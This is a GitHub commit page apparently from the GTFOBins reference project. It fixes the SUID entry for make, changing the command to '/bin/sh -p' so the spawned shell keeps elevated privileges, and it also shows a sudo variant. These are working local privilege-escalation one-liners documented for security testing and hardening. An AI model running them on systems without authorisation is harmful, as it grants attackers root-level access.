Skip to content

Commit

Permalink
Fix make suid shell
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed Jun 4, 2018
1 parent 564dbe2 commit b2731c2
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion _gtfobins/make.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ functions:
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
suid-enabled:
- code: |
COMMAND='/bin/sh'
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"
file-write:
- code: |
Expand Down

0 comments on commit b2731c2

Please sign in to comment.